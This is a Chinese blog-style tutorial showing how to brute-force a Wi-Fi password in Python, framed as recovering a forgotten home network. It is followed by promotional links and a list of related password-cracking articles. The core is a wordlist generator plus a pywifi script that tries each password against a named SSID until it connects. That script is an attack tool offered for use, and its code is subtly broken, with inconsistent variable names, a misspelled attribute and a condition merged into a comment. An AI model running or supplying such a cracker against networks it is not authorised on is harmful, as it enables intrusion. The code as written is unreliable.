前言

文的文字及图片来源于网络,仅供学习、交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理。

作者:李嘉图

PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http://t.cn/A6Zvjdun

起因

今天有个朋友家里wifi密码忘了,没有能连上的设备,抓瞎了.

刚好看到一篇博客,学了一下,成功了,非常简单.这个方法用来破自家的wifi效率很高,你自己设计可能的算法肯定最贴近你自己设计密码的思路,什么名字加生日啊或者车牌号啥的.甚至自己把可能的密码都写出来,写上几十个,存成txt文件就可以了.

这篇文章学习用还可以,动歪脑筋的请放弃吧,完全不懂算法的话,生成密码本就得几天光是陌生人的名字+生日的组合,写出来就得几个G了,你想想几个G的txt文件是啥概念 ,在挨个试错破解,又得很久.

原理:

根据一个固定的密码本,一个一个试密码,直到成功为止 (确实很弱智)

难点:

密码本的设计(设计越合理,越接近生活中的常用密码,破解成功率越大,破解速度越快)

我们一般是在网上找现成的常用密码本,或者自己设计算法,猜测密码,这里先介绍一下自己设计的最简单的密码生成器

密码生成器:

利用Python的itertools工具

注意:下载这个包的时候,名字是more-itertools(我也不知道为啥.应该是什么历史原因)

在cmd面板输入: py -m pip more-itertools

题外话:推荐使用清华园的国内镜像下载,先更改pip的下载链接

py -m pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pip -U #先下载最新的pip

pip config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple #设置pip的国内镜像

下面是最简单的密码生成器,主要是示例一下,算法可以自己改

import itertools as its

words='1234567890'#迭代器
r=its.product(words,repeat=3)#生成密码本,五位数的话,repeat=5
dic=open('./wifipasswords.txt','a')#以追加模式打开文件,如果文件不存在,会自动创建
for i in r:
dic.write(''.join(i))
dic.write(''.join('\n'))
print(i)
dic.close()
print('密码本已经生成')

模拟WiFi连接

import pywifi
from pywifi import const
import time #下面的自定义函数是测试连接,返回连接结果
def wifiConnect(pwd):
wifi=pywifi.PyWiFi()#抓取本机的网卡接口
ifaces=wifi.interfaces()[0]#获取第一个无线网卡
iface.disconnect()#断开所有连接
time.sleep(1)#休息一秒
wifistatus=ifces.status()#连接状态
if wifistatus==const.IFACE_DISCONNECTED:#如果没有wifi连接
profile=pywifi.Profile()#创建wifi连接文件
profile.ssid='gebilaowang'#要连接的wifi的名称
profile.auth=const.AUTH_ALG_OPEN#网卡的开放状态
profile.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法,一般的wifi加密算法是wps
profile.clipher=const.CIPHER_TYPE_CCMP#加密单元
profile.key=pwd#读取试用密码
ifaces.remove_all_network_profiles()#删除失败的文件
#设定新的连接文件
tep_profile=ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
time.sleep(3)#留时间给系统反应,就像我们平常连wifi,输对密码后要等一下
if ifaces.status()==const.IFACE_CONNECTED:#如果连接成功
return True
else:
return False
else:
print('你已经连好wifi了,别贪心啦') #下面的自定义函数是读取密码本
def readPassword():
print('开始破解:')
path='./wifipasswords.txt'#密码本路径
file=open(path,'r')#只读模式打开密码本
while True:
try:
pad=file.readline()#一行一行读取
bool=wifiConnect(pad)#测试连接,返回连接结果 if bool:
print('密码已经破解: ',pad)
print('wifi已经连接!!!')
break
else:
print('密码破解中...密码校对',pad)
print('\n 匹配失败')
except:
continue
#开始破解
readPassword()

破解成功率取决于密码本的设计,有机会的话下次写一下

2020年最新Python教程:

如果你处于想学Python或者正在学习Python,Python的教程不少了吧,但是是最新的吗?

说不定你学了可能是两年前人家就学过的内容,在这小编分享一波2020最新的Python教程。

以上这些教程小编已经为大家打包准备好了,希望对正在学习的你有所帮助!

获取方式,私信小编 “ 资料 ”,即可免费获取哦!

弱智破解法——用python破解WIFI的更多相关文章

  1. 网络攻防大作业——用python实现wifi破解

    实验内容:不借助其他工具,用python暴力破解wifi 实验工具:python3.6+pywifi模块+密码字典 实验环境:Windows7(64bit) 实验思路: 首先搜索附近的wifi,将这些 ...

  2. 实验楼Python破解验证码

    本人大二,因为Python结业考试项目,又想要学习机器学习方向,但是由于接触时间不长,选择了实验楼的Python破解验证码这个项目作为我的项目, 我在原来的基础上加了一些代码用于完善,并且对功能如何实 ...

  3. 利用 Python 破解 ZIP 或 RAR 文件密码

    我们经常会从网络上下载一些带密码的压缩包,想要获取里面的内容,往往就要给提供商支付一些费用.想要白嫖其中的内容,常见的做法是百度搜索一些压缩包密码破解软件,但后果相信体验过的人都知道.本文将会利用 P ...

  4. Python 破解极验滑动验证码

    Python 破解极验滑动验证码 测试开发社区  1周前 阅读目录 极验滑动验证码 实现 位移移动需要的基础知识 对比两张图片,找出缺口 获得图片 按照位移移动 详细代码 回到顶部 极验滑动验证码 以 ...

  5. 使用 Python破解大众点评字体加密(SVG反扒)

    前言 大众点评拥有大量高质量评论信息.种草信息,同时也有非常严格的反扒机制. 今天我们一起使用 Python破解大众点评字体加密,获取极具商业价值的信息. 本文知识点: requests 的使用 xp ...

  6. python操作wifi

    python连接wifi需要使用pywifi包,可以用pip install pywifi安装 1.导入包 import pywifi,time #保存包中写义的常量 from pywifi impo ...

  7. Visual Assist X 10.6.1837完美破解版(带VS2010破解)

    Visual Assist X 10.6.1837完美破解版(带VS2010破解) 实用软件, 资源分享Add comments 八102011 转载自:http://www.blog.namind. ...

  8. Adobe Photoshop CC 2018 v19.0 简体中文正式版下载安装破解(附注册机+破解教程) 32/64位(安装破解注意事项是什么)

    Adobe Photoshop CC 2018 v19.0 简体中文正式版下载安装破解(附注册机+破解教程) 32/64位(安装破解注意事项是什么) 一.总结 一句话总结:下载安装破解教程文中都有,需 ...

  9. xmind 8 update8(pro)最新版专业版破解教程(附破解补丁以及注册机,全网独家可用)

    title: "xmind 8 update8(pro)最新版专业版破解教程(附破解补丁以及注册机,全网独家可用)" categories: soft tags: soft aut ...

随机推荐

  1. 基于 websocket 的多端桥接平台

    我们现在的业务是基于新闻客户端实现的,都要经过新闻客户端的环境,进行前后端数据上的交互.但是我们在调试过程中,非常的不方便. 通常使用的工具有:modheader, postman, fiddler ...

  2. pytorch tensor的索引与切片

    切片方式与numpy是类似. * a[:2, :1, :, :], * 可以用-1索引. * ::2,表示所有数据,间隔为2,即 start:end:step. *  a.index_select(1 ...

  3. hdu1035 机器人走格子,格子指明方向,问几步走出格子或者是否有形成圈

    只要根据格子的方向选择下一步搜索的方向即可,退出条件是出界或者进入环中,进入环中的条件也很好确定,就是一个点走了两次,由于路径是固定的,这就会陷入无限循环. #include<iostream& ...

  4. 《HelloGitHub》第 48 期

    兴趣是最好的老师,HelloGitHub 就是帮你找到兴趣! 简介 分享 GitHub 上有趣.入门级的开源项目. 这是一个面向编程新手.热爱编程.对开源社区感兴趣 人群的月刊,月刊的内容包括:各种编 ...

  5. 洛谷P1957口算练习题题解

    前言: 题目传送门:https://www.luogu.com.cn/problem/P1957 其实这很简单 纯模拟撒~~~~ 正文开始: _话说 ,就当本蒟蒻正高高兴兴的刷水题时,居然 碰到了这个 ...

  6. 四则运算APP版

    (一)四则运算APP版 这这个Demo的目的就是强化一下本周学习的Android的Jetpack里的新内容,接下来我将通过这个Demo来展示我所学到的新知识. 先列出新学到的知识:ViewModel, ...

  7. 贪心-谷歌-857. 雇佣 K 名工人的最低成本

    2020-03-15 22:00:39 问题描述: 有 N 名工人. 第 i 名工人的工作质量为 quality[i] ,其最低期望工资为 wage[i] . 现在我们想雇佣 K 名工人组成一个工资组 ...

  8. 逻辑回归和sigmoid函数分类

    逻辑回归和sigmoid函数分类:容易欠拟合,分类精度不高,计算代价小,易于理解和实现 sigmoid函数与阶跃函数的区别在于:阶跃函数从0到1的跳跃在sigmoid函数中是一个逐渐的变化,而不是突变 ...

  9. 当阿里面试官问我:Java创建线程有几种方式?我就知道问题没那么简单

    这是最新的大厂面试系列,还原真实场景,提炼出知识点分享给大家. 点赞再看,养成习惯~ 微信搜索[武哥聊编程],关注这个 Java 菜鸟. 昨天有个小伙伴去阿里面试实习生岗位,面试官问他了一个老生常谈的 ...

  10. RedHat 6.7 使用 CentOS 6 的源

    1. 移除 RedHat 相关软件包 # yum -y remove subscription-manager and rh-check # rpm -aq | grep yum | xargs rp ...